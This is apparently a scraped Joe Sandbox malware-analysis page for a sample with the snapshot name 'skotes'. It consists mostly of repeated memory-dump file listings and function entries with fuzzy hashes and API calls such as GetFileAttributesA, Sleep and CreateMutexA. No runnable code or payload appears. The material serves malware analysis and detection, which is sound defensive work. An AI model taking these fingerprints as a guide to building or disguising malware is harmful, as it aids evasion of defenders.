Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 842746b9bf7107d186505b3ff09f8a3e6e2c91a8188a6ddfbdc5098c533ac601
Instruction ID: 1eaaef9d172902627006bc877d974dda9458fcf1f08a542dfd8343420785137c
Opcode Fuzzy Hash: 842746b9bf7107d186505b3ff09f8a3e6e2c91a8188a6ddfbdc5098c533ac601
Instruction Fuzzy Hash: B1312B316041449BFF08FB78D8C9B6DBBE2DBC5314F24429AE015973E5DBB59980C752

Function 00B8A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A550
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 96672674645eb1a5fc4d12c39322113ca8b46250d78c980912b4b2ac8ab951d5
Instruction ID: f6a9c28df2912c304fcc5803d44c427b6cad5c747d50fc2fb48a7e821925266b
Opcode Fuzzy Hash: 96672674645eb1a5fc4d12c39322113ca8b46250d78c980912b4b2ac8ab951d5
Instruction Fuzzy Hash: 9F312C316041049BFB08EF78DCC9BADB7E2EBC5314F2442AAE0559B2E5DB759980C712

Function 00B8A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A685
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5673086aa81dc561f7d0477f560307a24140d6ba0420c3da6c2e9a6d7c6da6c4
Instruction ID: a83a2df3a80b2b74899b48fd81bf08af04355f7233376b2a024fb646909e697b
Opcode Fuzzy Hash: 5673086aa81dc561f7d0477f560307a24140d6ba0420c3da6c2e9a6d7c6da6c4
Instruction Fuzzy Hash: 463139316042449BFB08EF78DCC9B6DBBF2DBC5314F2482AAE0159B2E5DB759980C752

Function 00B8A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A7BA
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0c50f4cc05d06aca8d0a72e8c3f21aab5724c6ec02bc71b9dbd7d205ff309e24
Instruction ID: c59ccd99a8ab218ff3b4d45cee485439a5144670a9e10331ca6c0e3e2c2ab2a9
Opcode Fuzzy Hash: 0c50f4cc05d06aca8d0a72e8c3f21aab5724c6ec02bc71b9dbd7d205ff309e24
Instruction Fuzzy Hash: DF315931A042049BFB08EF7CDDC9B6DB7E2DBC5310F2482AAE014972E5DB359981C722

Function 00BB6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfda4d4c3a5f5da896d3768f9dab71661c12e2f0cbd79be8d71d66718e3b642
Instruction ID: 201256070536ab4f532945bfb4d46aab6b85ea1083c0dd48e877250df1438a65
Opcode Fuzzy Hash: 1dfda4d4c3a5f5da896d3768f9dab71661c12e2f0cbd79be8d71d66718e3b642
Instruction Fuzzy Hash: DE21D6329041086BEB217B68DC42FFF37A9EF41378F100291F9242B1C1DBF49E0196A1

Function 00B8A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
